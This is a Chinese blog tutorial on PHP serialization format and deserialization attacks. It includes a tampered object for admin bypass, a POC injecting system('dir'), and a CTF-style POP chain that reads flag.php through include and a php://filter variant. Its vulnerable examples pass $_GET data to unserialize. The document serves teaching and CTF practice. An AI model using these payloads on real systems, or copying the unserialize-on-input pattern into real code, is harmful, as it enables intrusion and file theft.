PHP 反序列化

一、PHP 序列化

1、对象的序列化
php 复制代码
<?php
class people{
    public $name='Gaming';
    private $Nation='Liyue';
    protected $Birthday='12/22';

    public function say(){
        echo "老板你好呀,我是和记厅的镖师,叫我嘉明就行,要运货吗你?";
    }
}
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
$c=urlencode($a);       //将 字符串 $a 进行 url 编码
echo $c;

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";} O%3A6%3A%22people%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Gaming%22%3Bs%3A14%3A%22**%00people%00Nation** %22%3Bs%3A5%3A%22Liyue%22%3Bs%3A11%3A%22**%00%2A%00Birthday**%22%3Bs%3A5%3A%2212%2F22%22%3B%7D

O:(object)一个序列化的对象

6:类名的长度

3:类中有 3 个属性

s:(string)字符串

4:属性 长度

6:值 长度

2、数组的序列化
①、普通数组
php 复制代码
$arr=array('Gaming','Chongyun');
echo serialize($arr);

运行:

> a:2:{i:0;s:6:"Gaming";i:1;s:8:"Chongyun";}

a:数组

2:2 个值

i:索引

0:第 0 个

②、关联数组
php 复制代码
 $arr=array(
     'name' => 'Chongyun',
     'Nation' => 'Liyue',
     'Birthday' => '9/7'
 );
 echo serialize($arr);

运行:

a:3:{s:4:"name";s:8:"Chongyun";s:6:"Nation";s:5:"Liyue";s:8:"Birthday";s:3:"9/7";}

二、PHP 反序列化

php 复制代码
 $Gaming=new people();
 echo $Gaming->name;
 echo '<br>';
 $a=serialize($Gaming);  //将 对象 $Gaming 序列化为 字符串
 echo $a;
 echo '<br>';
 echo '<br>';
 print_r(unserialize($a));
 echo '<br>';
 echo '<br>';
 var_dump(unserialize($a));

运行:

Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

people Object ( [name] => Gaming [Nation:people:private] => Liyue [Birthday:protected] => 12/22 )

object(people)#2 (3) { ["name"]=> string(6) "Gaming" ["Nation":"people":private]=> string(5) "Liyue" ["Birthday":protected]=> string(5) "12/22" }

获得一个 序列化 的字符串 :

O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}

手动添加 空字符

s:14:"%00 people**%00** Nation";s:5:"Liyue";s:11:"%00*%00Birthday";

篡改字符串信息,反序列化后得到 篡改后的 对象 :

php 复制代码
 highlight_file(__FILE__);
 class User {
     public $username='lili';
     public $isAdmin=0;
 }
 ​
 $userData = $_GET['data'];
 $user = unserialize($userData);
 if($user->isAdmin===1 && $user->username==='admin'){
     // 目标输出:欢迎你管理员~
     echo '欢迎你管理员~';
 }
 else{
     echo '你是一个普通用户!';
 }

编写脚本,得到序列化字符串

php 复制代码
class User {
     public $username='admin';
     public $isAdmin=1;
 }
 ​
 $user = new User();
 $serialized_data = serialize($user);
 echo $serialized_data;

GET 传参即可

三、pop链的构造

引入:
php 复制代码
if(isset($_GET['test'])){
    @unserialize($_GET['test']);
    highlight_file(__FILE__);
}
else{
    $a=new test;
}

POC 编写:

php 复制代码
class  test{
    private $index;
    function __construct()
    {
        $this->index=new execute();
    }
}

class execute{
    public  $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));
```
例题:
php 复制代码
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

POC 构造:

php 复制代码
class Modifier {
 	protected  $var="flag.php"; #include函数使用为协议读取文件
 // protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
 }
 class Test{
     public $p;
 }
 class Show{
     public $source;
     public $str;
     //将另一个对象赋值给属性需要使用构造函数。
     public function __construct(){
         $this->str =new Test();  // 触发 __get()
     }
 }
 $new_show = new Show();  // 触发 POP链中的 __construct()
 $new_show->source = new Show();  // 触发 __toString()
 $new_show->source->str->p = new Modifier();  // 触发 __invoke()
 echo urlencode(serialize($new_show));
相关推荐
☺����14 分钟前
实现自己的AI视频监控系统-第一章-视频拉流与解码2
开发语言·人工智能·python·音视频
卓码软件测评24 分钟前
【网站测试:CORS配置错误引发的安全风险及测试】
功能测试·安全·web安全·压力测试·可用性测试·安全性测试
染翰32 分钟前
lua入门以及在Redis中的应用
开发语言·redis·lua
王者鳜錸43 分钟前
PYTHON让繁琐的工作自动化-函数
开发语言·python·自动化
兔老大RabbitMQ1 小时前
git pull origin master失败
java·开发语言·git
tt5555555555551 小时前
C/C++嵌入式笔试核心考点精解
c语言·开发语言·c++
xiao助阵1 小时前
python实现梅尔频率倒谱系数(MFCC) 除了傅里叶变换和离散余弦变换
开发语言·python
朱皮皮呀2 小时前
Spring Cloud——服务注册与服务发现原理与实现
运维·spring cloud·eureka·服务发现·php
科大饭桶2 小时前
C++入门自学Day14-- Stack和Queue的自实现(适配器)
c语言·开发语言·数据结构·c++·容器
扛麻袋的少年3 小时前
7.Kotlin的日期类
开发语言·微信·kotlin